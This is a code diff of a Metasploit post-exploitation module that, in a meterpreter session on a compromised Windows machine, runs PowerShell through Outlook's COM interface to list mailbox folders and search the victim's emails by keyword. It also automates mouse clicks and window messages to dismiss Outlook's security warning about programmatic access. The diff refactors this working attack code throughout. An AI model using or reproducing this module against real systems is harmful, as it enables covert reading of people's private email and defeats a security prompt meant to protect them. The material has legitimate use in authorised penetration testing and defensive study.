@@ -21,10 +21,11 @@ def initialize(info={})
2121 } ,
2222 'License' => MSF_LICENSE ,
2323 'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ] ,
24+ 'References' => [ 'URL' , 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ] ,
2425 'Platform' => [ 'win' ] ,
25- 'Arch' => [ 'x86' , 'x64' ] ,
26+ 'Arch' => [ 'x86' , 'x64' ] ,
2627 'SessionTypes' => [ 'meterpreter' ] ,
27- 'Actions' => [
28+ 'Actions' => [
2829 [ 'LIST' , { 'Description' => 'Lists all folders' } ] ,
2930 [ 'SEARCH' , { 'Description' => 'Searches for an email' } ]
3031 ] ,
@@ -77,30 +78,36 @@ def listBoxes
7778 print_status ( "System has currently been idle for #{ currentidle } seconds" )
7879 end
7980
80- def readEmails ( folder , keyword , searchobject , atrans , acftrans )
81+ def readEmails ( folder , keyword , atrans , acftrans )
8182 # This functions reads Outlook using powershell scripts
8283 view = framework . threads . spawn ( "ButtonClicker" , false ) {
8384 clickButton ( atrans , acftrans )
8485 }
8586 psh_script = %Q|
86- function Get-Emails {
87- param ([String]$searchTerm,[String]$Folder,[String]$searchObject)
88- Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
89- $Outlook = New-Object -ComObject Outlook.Application
90- $Namespace = $Outlook.GetNameSpace("MAPI")
91- $account = $NameSpace.Folders
92- $count = 0
93- foreach ($acc in $account) {
94- $count = $count+1
87+ function Get-Emails {
88+ param ([String]$searchTerm,[String]$Folder)
89+ Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
90+ $Outlook = New-Object -ComObject Outlook.Application
91+ $Namespace = $Outlook.GetNameSpace("MAPI")
92+ $account = $NameSpace.Folders
93+ $found = $false
94+ foreach ($acc in $account) {
9595 try {
96- $Email = $NameSpace.Folders.Item($count).Folders.Item($Folder).Items
97- $Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'} \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
98- } catch {
99- Write-Host "Folder not found in mailbox $count"
100- }
101- }
102- }
103- Get-Emails "#{ keyword } " "#{ folder } " "#{ searchobject } "
96+ $Email = $acc.Folders.Item($Folder).Items
97+ $result = $Email \| Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
98+ if($result) {
99+ $found = $true
100+ $result \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
101+ }
102+ } catch {
103+ Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
104+ }
105+ }
106+ if(-Not $found) {
107+ Write-Host "Searchterm" $searchTerm "not found"
108+ }
109+ }
110+ Get-Emails "#{ keyword } " "#{ folder } "
104111 |
105112 compressed_script = compress_script ( psh_script )
106113 cmd_out , runnings_pids , open_channels = execute_script ( compressed_script , 120 )
@@ -113,22 +120,25 @@ def clickButton(atrans,acftrans)
113120 # This functions clicks on the security notification generated by Outlook.
114121 sleep 1
115122 hwnd = client . railgun . user32 . FindWindowW ( nil , "Microsoft Outlook" )
116- hwndChildCk = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "&#{ acftrans } " )
117- client . railgun . user32 . SendMessageW ( hwndChildCk [ 'return' ] , 0x00F1 , 1 , nil )
118- client . railgun . user32 . MoveWindow ( hwnd [ 'return' ] , 150 , 150 , 1 , 1 , true )
119- hwndChild = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "#{ atrans } " )
120- client . railgun . user32 . SetActiveWindow ( hwndChild [ 'return' ] )
121- client . railgun . user32 . SetForegroundWindow ( hwndChild [ 'return' ] )
122- client . railgun . user32 . SetCursorPos ( 150 , 150 )
123- client . railgun . user32 . mouse_event ( 0x0002 , 150 , 150 , nil , nil )
124- client . railgun . user32 . SendMessageW ( hwndChild [ 'return' ] , 0x00F5 , 0 , nil )
123+ if hwnd != 0
124+ hwndChildCk = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "&#{ acftrans } " )
125+ client . railgun . user32 . SendMessageW ( hwndChildCk [ 'return' ] , 0x00F1 , 1 , nil )
126+ client . railgun . user32 . MoveWindow ( hwnd [ 'return' ] , 150 , 150 , 1 , 1 , true )
127+ hwndChild = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "#{ atrans } " )
128+ client . railgun . user32 . SetActiveWindow ( hwndChild [ 'return' ] )
129+ client . railgun . user32 . SetForegroundWindow ( hwndChild [ 'return' ] )
130+ client . railgun . user32 . SetCursorPos ( 150 , 150 )
131+ client . railgun . user32 . mouse_event ( 0x0002 , 150 , 150 , nil , nil )
132+ client . railgun . user32 . SendMessageW ( hwndChild [ 'return' ] , 0x00F5 , 0 , nil )
133+ else
134+ print_error ( "Error while clicking on the Outlook security notification. Window could not be found" )
135+ end
125136 end
126137
127138 def run
128139 # Main method
129140 folder = datastore [ 'FOLDER' ]
130141 keyword = datastore [ 'KEYWORD' ] . to_s
131- object = "HTMLBody"
132142 allow = datastore [ 'A_TRANSLATION' ]
133143 allow_access_for = datastore [ 'ACF_TRANSLATION' ]
134144 langNotSupported = true
@@ -148,8 +158,7 @@ def run
148158 acftrans = allow_access_for
149159 else
150160 if langNotSupported == true
151- print_error ( "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)" )
152- abort ( )
161+ fail_with ( Failure ::Unknown , "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)" )
153162 end
154163 end
155164
@@ -161,37 +170,31 @@ def run
161170 if outlookInstalled != 0
162171 print_good "Outlook is installed"
163172 else
164- print_error "Outlook is not installed"
165- abort ( )
173+ fail_with ( Failure ::Unknown , "Outlook is not installed" )
166174 end
167175 end
168176
169177 # Powershell installed check
170- powershellInstalled = registry_enumkeys ( "HKLM\\ SOFTWARE\\ Microsoft\\ " ) . include? ( "PowerShell" )
171-
172- if !powershellInstalled . nil?
173- if powershellInstalled != 0
174- print_good ( "Powershell is installed on this system." )
175- else
176- print_error ( "Powershell is not installed" )
177- abort ( )
178- end
178+ if have_powershell?
179+ print_good ( "Powershell is installed." )
180+ else
181+ fail_with ( Failure ::Unknown , "Powershell is not installed" )
179182 end
180183
181184 # Check whether target system is locked
182185 locked = client . railgun . user32 . GetForegroundWindow ( ) [ 'return' ]
183186 if locked == 0
184- print_error ( "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked" )
185- abort ( )
187+ fail_with ( Failure ::Unknown , "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked" )
186188 end
187189
188- if action . name == "LIST"
190+ case action . name
191+ when 'LIST'
189192 print_good ( 'Available folders in the mailbox: ' )
190193 listBoxes ( )
191- end
192-
193- if action . name == "SEARCH"
194- readEmails ( folder , keyword , object , atrans , acftrans )
194+ when 'SEARCH'
195+ readEmails ( folder , keyword , atrans , acftrans )
196+ else
197+ print_error ( "Unknown Action: #{ action . name } " )
195198 end
196199 end
197200end
0 commit comments